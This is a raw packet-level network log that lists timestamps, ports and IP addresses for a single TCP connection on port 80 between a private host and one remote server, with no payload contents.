Apr 17, 2024 09:17:11.314079046 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.314111948 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.314116955 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.314148903 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.314157009 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.314186096 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.314192057 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.314229965 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.314410925 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.314448118 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.314459085 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.314487934 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.314495087 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.314526081 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.314531088 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.314569950 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.314582109 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.314626932 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.314706087 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.314750910 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.315135002 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.315182924 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.315275908 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.315313101 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.315323114 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.315351963 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.315356970 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.315388918 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.315393925 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.315424919 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.315431118 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.315463066 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.315468073 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.315577030 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.315582991 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.315619946 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.366549015 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.366611958 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.366628885 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.366707087 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.366744041 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.366786957 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.366822004 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.366867065 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.366902113 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.366940022 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.366944075 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.366976976 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.366981030 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.367017984 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.367017984 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.367062092 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.367206097 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.367244005 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.367258072 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.367288113 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.367310047 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.367355108 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.367393970 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.367444992 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.367445946 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.367484093 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.367491007 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.367522001 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.367527008 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.367564917 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.367593050 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.367630005 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.367636919 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.367669106 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.367671013 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.367714882 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.367726088 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.367783070 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.367789030 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.367826939 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.367831945 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.367863894 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.367870092 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.367902040 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.367907047 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.367939949 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.367945910 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.367980957 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.399554968 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.399672031 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.399703979 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.399785042 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.399811983 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.399832010 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.399842024 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.399888039 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.399890900 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.399940014 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.399976969 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.399996042 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.399996042 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.400016069 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.400023937 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.400054932 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.400063992 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.400105953 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.447340965 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.652370930 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.768945932 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.769006014 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.769048929 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.769097090 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.769141912 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.769165993 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.769205093 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.769211054 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.769243956 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.769253016 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.769283056 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.769289970 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.769320011 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.769331932 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.769362926 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.769511938 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.769548893 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.769555092 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.769591093 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.769598961 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.769624949 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.769635916 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.769666910 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.826662064 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.826702118 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.826736927 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.826740026 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.826757908 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.826776981 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.826791048 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.826818943 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.826960087 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.826997042 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.827008009 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.827035904 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.827044964 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.827071905 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.827083111 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.827126026 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.827440977 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.827502012 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.827539921 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.827565908 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.827574015 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.827608109 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.827617884 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.827718973 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.827758074 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.827768087 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.827797890 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.827804089 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.827835083 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.827846050 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.827881098 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.828061104 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.828114033 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.828118086 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.828156948 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.828164101 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.828190088 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.828237057 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.828381062 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.828419924 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.828458071 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.828478098 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.828493118 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.828500986 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.828542948 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.884571075 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.884601116 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.884620905 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.884637117 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.884644985 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.884689093 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.884825945 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.884843111 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.884860039 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.884876013 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.884890079 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.884902000 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.884928942 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.885157108 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.885175943 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.885191917 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.885210037 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.885225058 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.885263920 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.885437965 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.885484934 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.885500908 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.885519028 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.885536909 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.885561943 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.885584116 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.885886908 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.885905981 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.885922909 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.885932922 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.885937929 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.885953903 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.885962009 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.885981083 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.886135101 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.886179924 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.886183977 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.886208057 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.886223078 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.886224985 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.886250019 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.886262894 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.886447906 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.886481047 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.886498928 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.886507988 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.886516094 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.886519909 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.886532068 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.886552095 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.886939049 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.886960983 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.886979103 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.886991978 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.886996031 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.887006044 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.887027025 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.887034893 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.887243986 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.887286901 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.887304068 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.887305021 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.887321949 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.887331963 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.887355089 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.887363911 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.887584925 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.887635946 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.887649059 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.887667894 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.887684107 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.887692928 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.887712955 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.887732029 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.887939930 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.887980938 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.887989998 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.888000011 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.888016939 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.888020039 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.888041973 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.888062000 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.888453960 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.888474941 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.888494015 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.888520002 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.888528109 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.888540030 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.888547897 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.888571978 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.888585091 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.888593912 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.888613939 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.888628960 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.888636112 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.888652086 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.888685942 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.944078922 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.944125891 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.944144964 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.944144011 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.944164038 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.944175005 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.944196939 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.944205999 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.944545031 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.944566965 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.944583893 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.944603920 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.944603920 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.944633007 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.944638968 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.944653034 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.944657087 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.944674969 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.944690943 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.944701910 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.944720984 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.944744110 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.944843054 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.944863081 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.944881916 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.944892883 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.944899082 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.944914103 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.944941044 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.945071936 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.945091009 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.945113897 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.945133924 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.945137024 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.945149899 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.945174932 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.945182085 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.945593119 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.945610046 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.945627928 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.945643902 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.945650101 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.945672035 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.945683002 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.945732117 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.945770025 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.945799112 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.945812941 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.945816040 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.945843935 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.945863962 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.946072102 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.946093082 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.946110010 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.946121931 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.946125984 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.946134090 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.946151972 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.946165085 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.946702003 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.946733952 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.946753025 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:11.946759939 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:11.946768999 CEST	80	49704	185.172.128.23	192.168.2.5
